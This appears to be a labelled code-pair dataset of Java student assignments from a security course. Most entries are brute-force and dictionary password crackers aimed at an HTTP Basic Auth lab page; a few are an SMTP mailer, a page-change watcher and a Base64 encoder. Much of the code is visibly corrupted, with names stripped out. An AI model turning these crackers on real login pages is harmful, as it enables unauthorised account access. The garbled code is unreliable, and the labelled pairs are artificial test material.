import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
101.java
197.java
0
import java.net.*; import java.io.*; public class SendEMail { public void SendEMail(){} public void sendMail(String recipient,String c, String subject){ try { Socket s = new Socket("yallara.cs.rmit.edu.", 25); BufferedReader in = new BufferedReader (new InputStreamReader(s.getInputStream(), "8859_1")); BufferedWriter out = new BufferedWriter (new OutputStreamWriter(s.getOutputStream(), "8859_1")); send(in, out, "HELO theWorld"); send(in, out, "MAIL FROM: <watch@dog.>"); send(in, out, "RCPT : "+recipient); send(in, out, "DATA"); send(out, "Subject: "+ subject); send(out, "From: WatchDog.java"); send (out, "\n"); BufferedReader reader; String line; reader = new BufferedReader(new InputStreamReader(new FileInputStream())); line = reader.readLine(); while (line != null){ send(out, line); line = reader.readLine(); } send(out, "\n.\n"); send(in, out, "QUIT"); s.print(); } catch (Exception e) { e.printStackTrace(); } } public void send(BufferedReader in, BufferedWriter out, String s) { try { out.write(s + "\n"); out.flush(); System.out.println(s); s = in.readLine(); System.out.println(s); } catch (Exception e) { e.printStackTrace(); } } public void send(BufferedWriter out, String s) { try { out.write(s + "\n"); out.flush(); System.out.println(s); } catch (Exception e) { e.printStackTrace(); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
074.java
197.java
0
import java.io.*; import java.net.*; public class BruteForce { public static void main(String args[]) throws IOException, MalformedURLException { final String username = ""; final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/"; String temppass; String password = ""; URL url = new URL(fullurl); boolean cracked = false; String c[] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O", "P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d", "e","f","g","h","i","j","k","l","m","n","o","p","q","r","s", "t","u","v","w","x","y","z"}; startTime = System.currentTimeMillis(); for(int i = 0; i < 52 && !cracked; i++) { temppass = c[i]; Authenticator.setDefault(new MyAuthenticator(username, temppass)); try{ BufferedReader r = new BufferedReader(new InputStreamReader( url.openStream())); cracked = true; password = temppass; } catch(Exception e){} } for(int i = 0; i < 52 && !cracked; i++) { for(int j = 0; j < 52 && !cracked; j++) { temppass = c[i]+c[j]; Authenticator.setDefault(new MyAuthenticator(username, temppass)); try{ BufferedReader r = new BufferedReader(new InputStreamReader( url.openStream())); cracked = true; password = temppass; } catch(Exception e){} } } for(int i = 0; i < 52 && !cracked; i++) { for(int j = 0; j < 52 && !cracked; j++) { for(int k = 0; k < 52; k++) { temppass = c[i]+c[j]+c[k]; Authenticator.setDefault(new MyAuthenticator(username,temppass)); try{ BufferedReader r = new BufferedReader(new InputStreamReader( url.openStream())); cracked = true; password = temppass; } catch(Exception e){} } } } stopTime = System.currentTimeMillis(); if(!cracked) System.out.println("Sorry, couldnt find the password"); else System.out.println("Password found: "+password); System.out.println("Time taken: "+(stopTime-startTime)); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
052.java
197.java
0
import java.net.*; import java.io.*; import java.misc.*; public class BruteForce { public static void main (String args[]) { char[ ] var = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; String password; int m=0; for(int i=0; i<52; i++) { for(int j=0; j<52; j++) { for(int k=0; k<52; k++) { m++; password = ""; password = new String(""+var[i]+var[j]+var[k]); String a = myurl("http://sec-crack.cs.rmit.edu./SEC/2", "", password,m ); } } } } public static String encode (String source) { BASE64Encoder enc = new source.misc.BASE64Encoder(); return(enc.encode(source.getBytes())); } public static String myurl (String url, String Name, String Password, int num ) { String thisLine; String retVal; URL u; URLConnection uc; retVal = ""; try { u = new URL(url); try { uc = u.openConnection(); if (Name != null) { uc.setRequestProperty("Authorization", " " + encode(Name + ":" + Password)); } InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader(content)); String line; while ((line = in.readLine()) != null) { retVal += line; System.out.println(line); System.out.println("password="+Password+"; number:"+num); System.exit(0); } } catch (Exception e) { } } catch (MalformedURLException e) { return(url + " is not a parseable URL"); } return retVal; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
257.java
197.java
0
import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class BruteForce { public final char [ ] letter = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println("URL " + urlPath); BruteForce bForce = new BruteForce(urlPath); } else{ System.out.println("Please enter URL at command prompt"); System.out.println("eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/"); } System.exit(0); } public BruteForce(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; int i, j, k; URL = new URL(urlPath); String let1 = null; String let2 = null; String let3 = null; String usrName = ""; String usrNamePwd = null; String encoding = null; boolean ok = false; connection = (HttpURLConnection).openConnection(); for(i=0; i<String.valueOf(letter).length(); i++) { let1 = String.valueOf(letter[i]); usrNamePwd = usrName +":"+ let1; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection.setRequestProperty("Authorization", " " + encoding); System.out.println(let1); if(connection.getResponseCode() == 200){ System.out.println("Password Found " +let1); return true; } connection.disconnect(); for(j=0; j<String.valueOf(letter).length(); j++) { let2 = let1 + letter[j]; usrNamePwd = usrName +":"+ let2; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty("Authorization", " " + encoding); if(connection.getResponseCode() == 200){ System.out.println("Password Found " +let2); return true; } connection.disconnect(); System.out.println(let2); for(k=0; k<String.valueOf(letter).length(); k++) { let3 = let2 + letter[k]; usrNamePwd = usrName +":"+ let3; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty("Authorization", " " + encoding); if(connection.getResponseCode() == 200){ System.out.println("Password Found " +let3); return true; } connection.disconnect(); System.out.println(let3); } } } System.out.println("Password not found" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
026.java
197.java
0
import java.util.*; import java.net.*; import java.io.*; public class ScheduleTask extends Thread { private int flag=0,count1=0,count2=0; private Vector change; public ScheduleTask(Vector init) { try { Runtime run = Runtime.getRuntime(); String command_line = "lynx http://yallara.cs.rmit.edu./~/index.html -dump"; Process result = run.exec(command_line); BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream())); String inputLine; Vector newVector = new Vector(); change = new Vector(); while ((inputLine = in.readLine()) != null) { newVector.addElement(inputLine); } if(init.size()>newVector.size()) { for(int k=0;k<newVector.size();k++) { if(!newVector.elementAt(k).toString().equals(init.elementAt(k).toString())) change.addElement((Object)newVector.elementAt(k)); count1=k; } for(int j=count1+1;j<init.size();j++) { if(init.elementAt(j)!=null) change.addElement((Object)init.elementAt(j)); else break; } } else if(init.size()<=newVector.size()) { for(int l=0;l<init.size();l++) { if(!init.elementAt(l).toString().equals(newVector.elementAt(l).toString())) change.addElement((Object)newVector.elementAt(l)); count2=l; } for(int j=count2+1;j<newVector.size();j++) { if(newVector.elementAt(j)!=null) change.addElement((Object)newVector.elementAt(j)); else break; } } if(!newVector.equals(init)) { Email aEmail = new Email(change); aEmail.send(); sleep(1000*60*24); flag=1; } } catch(Exception e) { System.out.println(e); } } public int getFlag() { return(flag); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
238.java
197.java
0
import java.util.*; import java.io.*; import java.net.*; class BruteForce { public static void main (String a[]) { final char [] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; String pwd=""; for(int i=0;i<52;i++) { for(int j=0;j<52;j++) { for(int k=0;k<52;k++) { pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k]; String userPassword = ":"+pwd; RealThread myTh = new RealThread(i,userPassword); Thread th = new Thread( myTh ); th.start(); try { th.sleep(100); } catch(Exception e) {} } } } } } class RealThread implements Runnable { private int num; private URL url; private HttpURLConnection uc =null; private String userPassword; private int responseCode = 100; public RealThread (int i, String userPassword) { try { url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); } catch(Exception ex1) { } num = i; this.userPassword = userPassword; } public int getResponseCode() { return this.responseCode; } public void run() { try { String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); uc = (HttpURLConnection)url.openConnection(); uc.setRequestProperty ("Authorization", " " + encoding); System.out.println("Reponse = "+uc.getResponseCode()+"for pwd = "+userPassword); this.responseCode = uc.getResponseCode(); if(uc.getResponseCode()==200) { System.out.println(" ======= Password Found : "+userPassword+" ========================================= "); System.exit(0); } } catch (Exception e) { System.out.println("Could not execute Thread "+num+" "); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
190.java
197.java
0
import java.awt.*; import java.String; import java.util.*; import java.io.*; import java.net.*; public class Dictionary { private URL url; private HttpURLConnection connection ; private int stopTime = 0; private int startTime = 0; private int count = 0; public Dictionary() { System.out.println("Process is running..."); startTime = System.currentTimeMillis(); findWords(); } public static void main(String args[]) { Dictionary sc = new Dictionary(); } public void findWords() { try { BufferedReader input = new BufferedReader(new FileReader ("words")); String text; while ((text = input.readLine()) != null) { if ((text.length() == 3) || (text.length() == 2)) { count++; decision(text); } } } catch (IOException io) { System.out.println("File Error: " + io.getMessage()); } } public void decision(String s1) { if (find(s1) == 200) { stopTime = System.currentTimeMillis(); runTime = stopTime - startTime; System.out.println("***************************************"); System.out.println("\nAttack successfully"); System.out.println("\nPassword is: " + s1); System.out.println("\nThe contents of the Web site: "); displayContent(s1); System.out.println("\nTime taken crack: " + runTime + " millisecond"); System.out.println("\nNumber of attempts: " + count); System.out.println(); System.exit(0); } } public int find(String s1) { int responseCode = 0; try { url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + s1)); responseCode = connection.getResponseCode(); }catch (Exception e) { System.out.println(e.getMessage()); } return responseCode; } public void displayContent(String pw) { BufferedReader bw = null ; try { url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + pw)); InputStream stream = (InputStream)(connection.getContent()); if (stream != null) { InputStreamReader reader = new InputStreamReader (stream); bw = new BufferedReader (reader); String line; while ((line = bw.readLine()) != null) { System.out.println(line); } } } catch (IOException e) { System.out.println(e.getMessage()); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
222.java
197.java
0
import java.net.*; import java.io.*; public class Base64Encoder { private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode (String string) { String encodedString = ""; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return encodedString; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
016.java
197.java
0
import java.util.*; import java.net.*; import java.io.*; import javax.swing.*; public class PasswordCombination { private int pwdCounter = 0; private int startTime; private String str1,str2,str3; private String url = "http://sec-crack.cs.rmit.edu./SEC/2/"; private String loginPwd; private String[] password; private HoldSharedData data; private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M', 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m', 'n','o','p','q','r','s','t','u','v','w','x','y','z'}; public PasswordCombination() { System.out.println("Programmed by for INTE1070 Assignment 2"); String input = JOptionPane.showInputDialog( "Enter number of threads" ); if( input == null ) System.exit(0); int numOfConnections = Integer.parseInt( input ); startTime = System.currentTimeMillis(); int pwdCounter = 52*52*52 + 52*52 + 52; password = new String[pwdCounter]; loadPasswords(); System.out.println( "Total Number of Passwords: " + pwdCounter ); createConnectionThread( numOfConnections ); } private void doPwdCombination() { for( int i = 0; i < 52; i ++ ) { str1 = "" + chars[i]; password[pwdCounter++] = "" + chars[i]; System.err.print( str1 + " | " ); for( int j = 0; j < 52; j ++ ) { str2 = str1 + chars[j]; password[pwdCounter++] = str1 + chars[j]; for( int k = 0; k < 52; k ++ ) { str3 = str2 + chars[k]; password[pwdCounter++] = str2 + chars[k]; } } } } private void loadPasswords( ) { FileReader fRead; BufferedReader buf; String line = null; String fileName = "words"; try { fRead = new FileReader( fileName ); buf = new BufferedReader(fRead); while((line = buf.readLine( )) != null) { password[pwdCounter++] = line; } } catch(FileNotFoundException e) { System.err.println("File not found: " + fileName); } catch(IOException ioe) { System.err.println("IO Error " + ioe); } } private void createConnectionThread( int input ) { data 